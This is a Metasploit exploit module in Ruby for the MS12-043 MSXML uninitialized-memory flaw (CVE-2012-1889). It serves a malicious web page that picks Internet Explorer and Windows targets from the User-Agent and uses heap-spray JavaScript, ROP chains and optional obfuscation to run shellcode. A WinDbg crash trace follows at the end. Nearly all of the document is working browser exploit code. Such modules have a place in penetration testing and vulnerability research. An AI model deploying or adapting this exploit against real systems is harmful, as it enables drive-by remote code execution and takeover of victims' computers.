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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "9.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", :method => "definition", :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", 'Description'=> %q{ This module exploits a memory corruption flaw in Microsoft XML Core Services when trying to access an uninitialized Node with the getDefinition API, which may corrupt memory allowing remote code execution. }, 'License'=> MSF_LICENSE, 'Author' => [ 'inking26', # Reliable exploitation 'binjo', # Metasploit module 'sinn3r',# Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-1889' ], [ 'BID', '53934' ], [ 'OSVDB', '82873'], [ 'MSB', 'MS12-043'], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ], [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ], [ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ] ], 'Payload'=> { 'BadChars' => "\x00", 'Space'=> 1024 }, 'DefaultOptions'=> { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # msxml3.dll 8.90.1101.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x100', 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 7 on Windows XP SP3 / Vista SP2', { 'Offset' => '0x100', 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 with Java 6 on Windows XP SP3', { 'Rop' => :jre, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 8 with Java 6 on Windows 7 SP1/Vista SP2', { 'Rop' => :jre, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 9 with Java 6 on Windows 7 SP1', { 'Rop' => :jre, 'RandomHeap' => true, 'RopChainOffset' => 0x5FC, 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 12 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows Vista SP2 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ return targets[5]#IE 8 on Windows 7 SP1/Vista SP2 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ return targets[6]#IE 9 on Windows 7 SP1 else return nil end end def ret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll end end def popret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll end end def get_rop_chain(t) if t['RandomHeap'] adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c adjust << ret(t) else adjust = ret(t) end adjust << popret(t) adjust << [ t['StackPivot'] ].pack("V") adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :) # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust}) else print_status("Using JRE ROP") rop = generate_rop_payload('java','',{'pivot'=>adjust}) end return rop end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x230; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var nops_90 = unescape("#{js_90_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; while (nops_90.length < 0x80000) nops_90 += nops_90; var offset = nops.substring(0, #{t['Offset']}); var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length); var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x230; z++) { heap_obj.alloc(block); } JS return spray end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_rop, js_code, js_90_nops) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var rop = unescape("#{js_rop}"); var code = unescape("#{js_code}"); var nops_90 = unescape("#{js_90_nops}"); while (nops_90.length < 0x80000) nops_90 += nops_90; var offset_length = #{t['RopChainOffset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length - code.length); var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) end if my_target['RandomHeap'] js = get_random_spray(my_target, js_rop, js_code, js_90_nops) elsif not my_target['Rop'].nil? js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end object_id = rand_text_alpha(4) html = <<-EOS <html> <head> <script> #{js} </script> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object> <script> var obj = document.getElementById('#{object_id}').object; var src = unescape("%u0c08%u0c0c"); while (src.length < 0x1002) src += src; src = "https://www.exploit-db.com/exploits/19186/\\\\\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(#{rand(999) + 1}); </script> </body> </html> EOS html = html.gsub(/^ {4}/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (e34.358): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350 eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 msxml3!_dispatchImpl::InvokeHelper+0xb4: 749bd772 ff5118calldword ptr [ecx+18h]ds:0023:5f5ec6a3=???????? 0:008> r eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528 eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 msxml3!_dispatchImpl::InvokeHelper+0xb4: 749bd772 ff5118calldword ptr [ecx+18h]ds:0023:00000018=???????? 0:008> k ChildEBP RetAddr 020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4 020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e 020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa 020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa 020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d 020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98 020bf590 633a77ff jscript!VAR::InvokeByName+0x135 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219 =end |
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